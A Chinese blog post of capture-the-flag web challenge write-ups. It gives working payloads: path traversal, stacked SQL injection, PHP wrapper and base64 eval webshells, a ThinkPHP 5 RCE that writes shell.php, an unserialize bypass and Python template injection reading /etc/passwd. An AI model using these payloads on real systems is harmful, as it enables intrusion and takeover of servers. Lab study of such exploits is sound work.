攻防世界 web 难度2

warmup

知识点

使用相对路径控制url读取方法

//eee.php
<?php
$f = $_GET["file"];
include($f);
?>

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {	// 或者不设置page,或者page不等于字符串时 就return 结束
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {	//page不能在数组里
				echo "yes1";
                return true;	//如果执行了return,则return 语句后面的内容将不会被执行了;
            }

            $_page = mb_substr(	//截取 $page 0,?出现的之前的字符串,相当于还是全部字符
                $page,
                0,
                mb_strpos($page . '?', '?')	//找page? 中第一次出现的位置 
            );
            if (in_array($_page, $whitelist)) {	//$_page 不能在白名单,否则return结束
                echo "yes2";
				return true;
            }

            $_page = urldecode($page);	// 解码一次$page
            $_page = mb_substr(	//这次要截取出白名单含有的内容,下面的if返回一个true,否则下面的if不匹配,后面就返回false。最后的if条件就不成立了
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {	/
                echo "yes3";
				return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])	//$file非空,并且是字符串,然后用checkfile过滤完
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];	//包含file文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

payload

source.php%3f../../../../../ffffllllaaaagggg

supersqli

过滤了select|update|delete|drop|insert|where|

堆叠注入获取数据库,表,列名

Prepare语句

前置知识点

prepare

为了使用MySQL准备语句,您需要使用其他三个MySQL语句如下:
PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
DEALLOCATE PREPARE - 发布PREPARE语句。

用户变量和set语句:

用户变量即用户自己定义的变量,我们可以给用户变量分配值,并且可用在任何可以正常使用标量表达式的地方。

引入用户变量之前我们必须使用set语句或select语句来定义它,然后为它赋一个值,否则变量就只有一个空值。

用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。

set语句可用于向系统变量或用户变量赋值,针对用户变量的定义如下:

SET @var_name = expr [, @var_name = expr] ...

也可使用select语句来定义:

SELECT @var_name := expr [, @var_name = expr] ...

用户变量:以"@“开始,形式为”@var_name",以区分用户变量及列名。它可以是任何随机的,复合的标量表达式,只要其中没有列指定。

一个变量名可以由当前字符集的数字字母字符和“_”、“$”和“.”组成。缺省字符集是ISO-8859-1 Latin1;这可以用mysqld 的–default-character-set 选项更改字符集。
对于SET,可以使用=或:=来赋值,对于SELECT只能使用:=来赋值

绕过select获取内容

1.使用handler读取数据

基本使用用法

MySQL 之 handler 的详细使用及说明

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]

# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]

# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]

# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

# 关闭已打开的句柄
HANDLER tbl_name CLOSE

2.set and prepare

payload

1';set @sql=concat('sele','ct `flag` from `1919810931114514`');PREPARE stmt1 from @sql;EXECUTE stmt1;#

3.使用rename和alter

我们使用rename和alter这两个命令来更改表名和字段名。因为我们可以访问words里的columns,发现id,也就是说我们输入的1默认是查询words这个表的。因此我们可以把words表改名成words1表,把1919810931114514表改名成words,然后再把1919810931114514里面的flag字段改名成id,然后输入1’ or 1=1#就可以成功得到flag了。
具体构造如下:

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

部分参考链接

Web_php_include

php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如phpinfo()?>
此协议受allow_url_include配置影响

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {	//该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
    $page=str_replace("php://", "", $page);
}
include($page);
?>

data://

data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
http://127.0.0.1/include.php?file=data://text/plain,
text/plain,表示的是文本
text/plain;base64, 若纯文本没用可用base64编码

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

查看源码即可获得flag

data://一句话

?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

hello输出

?page=http://127.0.0.1/?hello=<?system("ls")?>
远程包含,访问本地上localhost,然后传递变量值执行。不是很理解为什么hello值能执行,不理解为什么system能省略php,稍后补充

参考链接:
https://blog.csdn.net/yingyugo/article/details/109783035
https://blog.csdn.net/xj28555/article/details/107184690/

php_rce

Thinkphp5.0.20漏洞复现

直接利用

尝试写一句话

window和linux写一句话

s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_REQUEST["cmd"]);?>%27>shell.php

Web_php_unserialize

preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);	//$var = $var base64解码
    if (preg_match('/[oc]:\d+:/i', $var)) {	//preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写,匹配到了就退出
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

payload

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>

Web_python_template_injection

前置应用流程介绍

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

__class__  #返回类型所属的对象
__mro__    #返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   #返回该对象所继承的基类  // __base__和__mro__都是用来寻找基类的

__subclasses__   #每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  #类的初始化方法
__globals__  #对包含函数全局变量的字典的引用

关于__globals__介绍

# foo.py
# 代码9
a = 3

def f():
	global a
	a += 1

if __name__ == '__main__':
	# f() # 没运行
	print(f.__globals__.keys())
	print(f.__globals__['a'])

输出结果

dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__annotations__', '__builtins__', '__file__', '__cached__', 'dis', 'a', 'f'])
3

关于__mro__
python 类有多继承特性,如果继承关系太复杂,很难看出会先调用那个属性或方法。

为了方便且快速地看清继承关系和顺序,可以用__mro__方法来获取这个类的调用顺序。
""类所继承的类是object,而objec是所有类的基类

判断有无模块注入

寻找可用引用

{{''.__class__.__mro__[2].__subclasses__()}}
type file

type file文件读取
type file 在40(下标从0开始)

文件读取
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

payload

用了<class 'site._Printer'>类的初始化方法,用初始化函数全局变量字典os的值.listdir()

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

Web2

源码分析

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);	//strrev() 函数反转字符串。
    // echo $_o;
    //把每个字母向右偏移1位(z偏移变成{,Z偏移变成a)
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);	//把$_o的第一个字符拿出来..第 2 个..
        $__=ord($_c)+1;	// ASCII值 +1
        $_c=chr($__);	//转成字符
        $_=$_.$_c;	//拼接到$_
    } 
    return str_rot13(strrev(base64_encode($_)));	//将$_ base64加密,再翻转,在每一个字母在字母表中向前移动 13 个字母。 数字和非字母字符保持不变。
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

poc


<?php 
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
	$a = strrev(base64_decode(strrev(str_rot13($str))));
	
	for($_0=0;$_0<strlen($a);$_0++){
	   
		$_c=substr($a,$_0,1);	//把$_o的第一个字符拿出来..第 2 个..
		$__=ord($_c)-1;	// ASCII值 +1
		$_c=chr($__);	//转成字符
		$_=$_.$_c;	//拼接到$_
		echo $_;
		echo '</br>';
	}
	return $_;
}
var_dump(decode($miwen));
?>

command_execution

原理

管道符主要用于多重命令处理,前面命令的打印结果作为后面命令的输入。简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…


xff_referer

要求ip地址必须为123.123.123.123

抓包修改referer

upload1

前端js验证

获取到文件名,过滤之后如果是jpg或者png就可以上传,不是就 禁用按钮报错

<!Doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script type="text/javascript">
 

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

</script>

</head>
<body>



<form enctype='multipart/form-data' id='aa' name='aaa' method='post' action='index.php'> 
<input  id="upfile" name='upfile' type='file' onchange="check();" /> 

<input type='submit'  id ='submit' value='上传'> 
</form> 



</body>


</html>

修改前端代码删除disable

上传成功访问一句话或者菜刀找flag

NewsCenter

posted @ 2022-11-23 16:22  忧郁男孩的救赎  阅读(82)  评论(0)    收藏  举报